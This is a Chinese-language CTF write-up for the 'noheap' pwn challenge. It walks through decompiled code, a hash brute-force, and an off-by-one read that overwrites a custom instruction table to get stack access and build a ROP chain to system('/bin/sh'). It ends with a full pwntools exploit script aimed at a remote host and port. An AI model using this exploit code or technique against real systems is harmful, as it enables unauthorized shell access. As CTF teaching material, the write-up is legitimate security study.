0x00 查看保护
pwn题,老样子,先用checksec noheap
查看保护状态
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开...好吧
0x01 流程分析
先看init
unsigned __int64 init_0()
{
signed int i; // [rsp+8h] [rbp-28h]
int fd; // [rsp+Ch] [rbp-24h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
for ( i = 0; i <= 4; ++i )
read(fd, (char *)src - 0x40LL - 8 * i, 8uLL);
g_proc_Malloc = random1 ^ (unsigned __int64)malloc_0;
g_proc_show = random2 ^ (unsigned __int64)show;
g_proc_free = random3 ^ (unsigned __int64)free_0;
g_proc_menu = random4 ^ (unsigned __int64)&menu;
g_proc_execute_table = random5 ^ (unsigned __int64)execute_table;
g_value_1 = 0x106040F01130301LL;
g_value_2 = 0x4000161302011409LL;
g_value_3 = 0;
g_value_4 = 0;
g_value_5 = 0;
close(fd);
return __readfsqword(0x28u) ^ v3;
}
首先init
里对函数地址进行了xor
加密,并设置了几个全局变量的值,暂时还不知道其作用。
再来看main
函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_E87();
sub_F0C();
sub_1470();
return 0LL;
}
// sub_E87()
int sub_E87()
{
puts(
" _____ _____ _____ _ __ __ _____ _____ ___ _____ \n"
"| _ \\ | ____| | _ \\ | | \\ \\ / / /___ \\ / _ \\ |_ | / _ \\ \n"
"| |_| | | |__ | | | | | | \\ \\/ / ___| | | | | | | | | |_| | \n"
"| ___/ | __| | | | | | | \\ / / ___/ | |/| | | | } _ { \n"
"| | | |___ | |_| | | | / / | |___ | |_| | | | | |_| | \n"
"|_| |_____| |_____/ |_| /_/ |_____| \\_____/ |_| \\_____/ \n");
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
alarm(0x99999979); <---原本是60秒,我为了调试改了下立即数的值
puts("Welcome !");
return puts("=======================================================================");
}
// sub_F0C()
unsigned __int64 sub_F0C()
{
unsigned __int8 buf; // [rsp+Fh] [rbp-51h]
unsigned int v2; // [rsp+10h] [rbp-50h]
int i; // [rsp+14h] [rbp-4Ch]
int fd; // [rsp+18h] [rbp-48h]
unsigned int v5; // [rsp+1Ch] [rbp-44h]
char s1[8]; // [rsp+20h] [rbp-40h]
char v7; // [rsp+28h] [rbp-38h]
char s2[8]; // [rsp+30h] [rbp-30h]
char v9; // [rsp+38h] [rbp-28h]
unsigned __int64 v10; // [rsp+48h] [rbp-18h]
v10 = __readfsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v7 = 0;
*(_QWORD *)s2 = 0LL;
v9 = 0;
v2 = 0;
fd = open("/dev/urandom", 0);
for ( i = 0; i <= 3; ++i )
{
read(fd, &buf, 1uLL);
v2 = (v2 << 8) + buf % 0x2Bu + 0x30;
}
*(_DWORD *)s1 = seed(&v2);
*(_DWORD *)&s1[4] = seed(&v2);
v5 = sub_10B2((unsigned __int8 *)s1, 8);
printf("Hash:%08x\n", v5);
printf("Input:");
getStrInput(s2, 9uLL);
close(fd);
if ( !strcmp(s1, s2) )
exit(0);
puts("=======================================================================");
return __readfsqword(0x28u) ^ v10;
}
// sub_1470()
.text:0000000000001470 sub_1470 proc near ; CODE XREF: main+E↑p
.text:0000000000001470
.text:0000000000001470 func_jump_table = qword ptr -78h
.text:0000000000001470 func = qword ptr -70h
.text:0000000000001470 var_20 = qword ptr -20h
.text:0000000000001470 func_menu = qword ptr -18h
.text:0000000000001470 input = dword ptr -4
.text:0000000000001470
.text:0000000000001470 ; __unwind {
.text:0000000000001470 000 55 push rbp
.text:0000000000001471 008 48 89 E5 mov rbp, rsp
.text:0000000000001474 008 48 83 EC 10 sub rsp, 10h
.text:0000000000001478
.text:0000000000001478 menu: ; DATA XREF: init_0+DD↑o
.text:0000000000001478 018 E8 14 01 00 00 call printMenu
.text:000000000000147D 018 E8 C5 00 00 00 call getInput
.text:0000000000001482 018 89 45 FC mov [rbp+input], eax
.text:0000000000001485 018 8B 45 FC mov eax, [rbp+input]
.text:0000000000001488 018 85 C0 test eax, eax
.text:000000000000148A 018 74 62 jz short locret_14EE
.text:000000000000148C 018 8B 45 FC mov eax, [rbp+input]
.text:000000000000148F 018 83 F8 03 cmp eax, 3
.text:0000000000001492 018 77 5A ja short locret_14EE
.text:0000000000001494 018 48 8D 05 25 1C 20 00 lea rax, src
.text:000000000000149B 018 48 0F B6 4D FC movzx rcx, byte ptr [rbp+input]
.text:00000000000014A0 018 48 FF C9 dec rcx
.text:00000000000014A3 018 48 F7 D1 not rcx
.text:00000000000014A6 018 48 8B 7C C8 F0 mov rdi, [rax+rcx*8-10h] ; 取函数 xor后的地址
.text:00000000000014AB 018 48 8B 74 C8 C8 mov rsi, [rax+rcx*8-38h] ; 取random值
.text:00000000000014B0 018 48 31 F7 xor rdi, rsi ; 解密函数地址
.text:00000000000014B3 018 48 89 7C 24 A0 mov [rsp+10h+func], rdi
.text:00000000000014B8 018 48 8B 78 D0 mov rdi, [rax-30h]
.text:00000000000014BC 018 48 8B 70 A8 mov rsi, [rax-58h]
.text:00000000000014C0 018 48 31 F7 xor rdi, rsi
.text:00000000000014C3 018 48 89 7C 24 F8 mov [rsp+10h+func_menu], rdi
.text:00000000000014C8 018 48 8B 70 C8 mov rsi, [rax-38h]
.text:00000000000014CC 018 48 8B 40 A0 mov rax, [rax-60h]
.text:00000000000014D0 018 48 31 F0 xor rax, rsi
.text:00000000000014D3 018 48 89 44 24 98 mov [rsp+10h+func_jump_table], rax
.text:00000000000014D8 018 48 89 6C 24 F0 mov [rsp+10h+var_20], rbp
.text:00000000000014DD 018 48 8D 64 24 F0 lea rsp, [rsp-10h]
.text:00000000000014E2 028 48 89 E5 mov rbp, rsp
.text:00000000000014E5 028 48 81 EC 88 00 00 00 sub rsp, 88h
.text:00000000000014EC 0B0 FF E0 jmp rax
从main
来看程序应该是有两关,第一关是猜数字,第二关是漏洞利用。
0x02 第一关,猜数字
程序会根据/dev/urandom
生成的4字节随机数,进行计算,并打印出一个hash
值,然后问你原数是多少,由于是用4字节的随机数,并且范围是 [0x30, 0x2Bu + 0x30)
所以可以直接穷举。
第一关的穷举代码如下。
def calchash(input):
nlen = len(input)
i = 0
v6 = 0
nlen = 8
while True:
tmp = input[i]
v6 = 0x83 * v6 + tmp
i += 1
if i >= nlen:
break
return v6 & 0xFFFFFFFF
def seed(input):
return 0x343FD * input + 0x269ec3
def change(input):
r = []
for i in range(0, 4):
r.append(input & 0xFF)
input = input >> 8
return r
def getValue(input):
n = seed(input) & 0xFFFFFFFF
m = seed(n) & 0xFFFFFFFF
l1 = change(n)
l2 = change(m)
l1.extend(l2)
return l1
def work(input):
for a in range(0x30, 0x5b):
for b in range(0x30, 0x5b):
for c in range(0x30, 0x5b):
for d in range(0x30, 0x5b):
k = ((a << 24) + (b << 16) + (c << 8) + d)
value = getValue(k)
if calchash(value) == input:
print (value)
return value
if __name__ == '__main__':
work(xxxxxx)
将hash
值传入work
就能得到对应的4字节随机数,回写通过第一关
0x03 第二关,偷天换日
过了第一关后,程序会展示出它的功能
=======MENU========
1. Malloc
2. Show
3. Free
4. Exit
>>
这几个功能里,能有问题的估计也就是Malloc
了,看它代码
int __cdecl malloc_0()
{
__int128 v0; // ax
ssize_t n; // ST28_8
__int128 size; // [rsp+10h] [rbp-20h]
void *dest; // [rsp+20h] [rbp-10h]
*(_QWORD *)&size = &buff;
printf("Size :");
LODWORD(v0) = getInput();
*((_QWORD *)&size + 1) = (unsigned int)v0;
if ( (unsigned int)v0 <= 0x80uLL )
{
dest = malloc((unsigned int)v0);
if ( dest )
{
printf("Content :");
n = getStrInput(src, (unsigned __int8)(BYTE8(size) - 1));
memcpy(dest, src, n);
buff.buff = (__int64)dest;
v0 = size;
buff.size = *((_QWORD *)&size + 1);
}
else
{
LODWORD(v0) = puts("error.");
}
}
return v0;
}
限制分配空间<= 0x80
,读取输入的大小为输入的size - 1
,所以这里如果输入size
为0
时,就可以读取到一个0xFF
长度的串到src
中,src
的大小为0x80
后面紧跟的是一开始init
中初始化的那些个以g_value_
开头的全局变量
.bss:00000000002030C0 ?? ?? ?? ?? ?? ?? ?? ??+ src dq 10h dup(?) ; DATA XREF: init_0+4B↑o
.bss:00000000002030C0 ?? ?? ?? ?? ?? ?? ?? ??+ ; sub_1470+24↑o ...
.bss:0000000000203140 ?? ?? ?? ?? ?? ?? ?? ?? g_value_1 dq ? ; DATA XREF: init_0+168↑w
.bss:0000000000203140 ; execute_table+44↑o ...
.bss:0000000000203148 ?? ?? ?? ?? ?? ?? ?? ?? g_value_2 dq ? ; DATA XREF: init_0+173↑w
.bss:0000000000203150 ?? ?? ?? ?? g_value_3 dd ? ; DATA XREF: init_0+17D↑w
.bss:0000000000203154 ?? ?? g_value_4 dw ? ; DATA XREF: init_0+187↑w
.bss:0000000000203156 ?? g_value_5 db ? ; DATA XREF: init_0+192↑w
经过动态调试发现,这些全局变量其实是一个指令表,根据不同指令走一个switch case
做一些计算,赋值,跳转等操作。函数如下:
void *__ptr32 *__usercall execute_table@<rax>(struc_jmp *a1@<rbp>)
{
__int64 v1; // rt1
void *__ptr32 *result; // rax
__int64 v3; // rax
a1[0xFFFFFFFF].count = 0LL;
a1[0xFFFFFFFF].cmd = 0LL;
a1[0xFFFFFFFF].value = 0LL;
a1[0xFFFFFFFF].field_38 = 0LL;
a1[0xFFFFFFFF].getbytes = 0LL;
a1[0xFFFFFFFF].func_addr = 0LL;
a1[0xFFFFFFFF].offset = 0LL;
a1[0xFFFFFFFF].check = 0LL;
while ( 2 )
{
a1[-1].cmd = *((char *)&g_value_1 + a1[-1].count);
v1 = a1[-1].cmd;
result = (void *__ptr32 *)&qword_1A1C;
switch ( (unsigned __int64)a1 )
{
case 1uLL:
a1[-1].value = *((unsigned __int8 *)&g_value_1 + a1[-1].count + 1);
a1[-1].count += 2LL;
continue;
case 2uLL:
a1[-1].getbytes = *((unsigned __int8 *)&g_value_1 + a1[0xFFFFFFFF].value);
++a1[-1].count;
continue;
case 3uLL: //读取指令表中数据给func_addr
a1[-1].func_addr = *(__int64 *)((char *)&g_value_1 + a1[0xFFFFFFFF].value);
++a1[-1].count;
continue;
case 4uLL: //读取指令表中数据给offset
a1[-1].offset = *(__int64 *)((char *)&g_value_1 + a1[0xFFFFFFFF].value);
++a1[-1].count;
continue;
case 5uLL: //func_addr与offset的一些计算操作
a1[-1].func_addr -= a1[-1].offset;
++a1[-1].count;
continue;
case 6uLL:
a1[-1].func_addr += a1[-1].offset;
++a1[-1].count;
continue;
case 7uLL:
a1[-1].func_addr *= a1[-1].offset;
++a1[-1].count;
continue;
case 8uLL:
a1[-1].func_addr = (unsigned __int64)a1[-1].func_addr / a1[-1].offset;
++a1[-1].count;
continue;
case 9uLL:
a1[-1].func_addr ^= a1[-1].offset;
++a1[-1].count;
continue;
case 0xAuLL:
a1[-1].func_addr &= a1[-1].offset;
++a1[-1].count;
continue;
case 0xBuLL:
a1[-1].func_addr |= a1[-1].offset;
++a1[-1].count;
continue;
case 0xCuLL:
a1[-1].check = a1[-1].func_addr != a1[-1].offset;
++a1[-1].count;
continue;
case 0xDuLL:
if ( a1[-1].check )
v3 = a1[-1].count + 2;
else
v3 = *((unsigned __int8 *)&g_value_1 + a1[-1].count);
a1[-1].count = v3;
continue;
case 0xEuLL:
a1[-1].func_addr = a1[-1].getbytes;
++a1[-1].count;
continue;
case 0xFuLL:
a1[-1].offset = a1[-1].getbytes;
++a1[-1].count;
continue;
case 0x10uLL:
a1[-1].getbytes = a1[-1].func_addr;
++a1[-1].count;
continue;
case 0x11uLL:
a1[-1].getbytes = a1[-1].offset;
++a1[-1].count;
continue;
case 0x12uLL:
a1[-1].func_addr = a1[-1].offset;
++a1[-1].count;
continue;
case 0x13uLL: //读取栈中的数据
a1[-1u].func_addr = *(&a1[0xFFFFFFFFLL].count - a1[-1u].value);
++a1[-1u].count;
continue;
case 0x14uLL: //写入数据到栈中
*(&a1[0xFFFFFFFFLL].count - a1[-1].value) = a1[-1].func_addr;
++a1[-1].count;
continue;
case 0x15uLL:
++a1[-1].getbytes;
++a1[-1].count;
continue;
case 0x16uLL: //跳转到func_addr处执行代码
++a1[-1].count;
result = (void *__ptr32 *)((__int64 (*)(void))a1[-1].func_addr)();
break;
default:
return result;
}
break;
}
return result;
}
从这个表里可以看到,这个流程直接赋予了读取栈中数据和写入的能力,所以可以根据栈里情况读取到libc中函数实际地址,也可以读取到程序自身函数的实际地址,然后根据可读取到的地址与需要的目标函数地址的固定偏移,计算得到目标的实际地址。
有了这些能力就可以构造rop
,将/bin/sh
,写入到指令表中并计算出地址,由于提供了libc
所以可以根据栈中其他libc
函数地址计算出system
地址,构造rop
跳转给func_addr
执行利用。
所以重点就是精心构造指令表
来执行上面的逻辑,再把这个指令表通过read
的越界替换原始指令表,达到偷天换日的效果。
完整利用代码如下:
#coding: utf-8
from pwn import *
def calchash(input):
nlen = len(input)
i = 0
v6 = 0
nlen = 8
while True:
tmp = input[i]
v6 = 0x83 * v6 + tmp
i += 1
if i >= nlen:
break
return v6 & 0xFFFFFFFF
def seed(input):
return 0x343FD * input + 0x269ec3
def change(input):
r = []
for i in range(0, 4):
r.append(input & 0xFF)
input = input >> 8
return r
def getValue(input):
n = seed(input) & 0xFFFFFFFF
m = seed(n) & 0xFFFFFFFF
l1 = change(n)
l2 = change(m)
l1.extend(l2)
return l1
def work(input):
for a in range(0x30, 0x5b):
for b in range(0x30, 0x5b):
for c in range(0x30, 0x5b):
for d in range(0x30, 0x5b):
k = ((a << 24) + (b << 16) + (c << 8) + d)
value = getValue(k)
if calchash(value) == input:
print (value)
return value
#io = process('./noheap')
io = remote('139.199.99.130', 8989)
sleep(1)
print io.recvuntil('=======================================================================')
sleep(1)
_hash = io.recv()[6:14]
hh = int(_hash, 16)
guess = bytearray(work(hh))
strguess = bytes(guess)
io.sendline(strguess)
print io.recvuntil('>> ')
io.sendline('1')
sleep(1)
print io.recvuntil('Size :')
sleep(1)
io.sendline('0')
print io.recvuntil('Content :')
sleep(1)
#offset = 0xB1F30
payload = 'A' * 0x80
payload += p64(0x105043001130D01)
payload += p64(0x0100010428011408)
payload += p64(0x0201140901061302)
payload += p64(0x160604200113)
payload += p64(0x136) #offset rop
payload += p64(0x201ad3) #offset /bin/sh
payload += p64(0xB1F30) #offset system
payload += p64(0)
payload += p64(0x68732f6e69622f)#/bin/sh
io.sendline(payload)
print io.recvuntil('>> ')
io.sendline('2')
sleep(2)
io.interactive()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法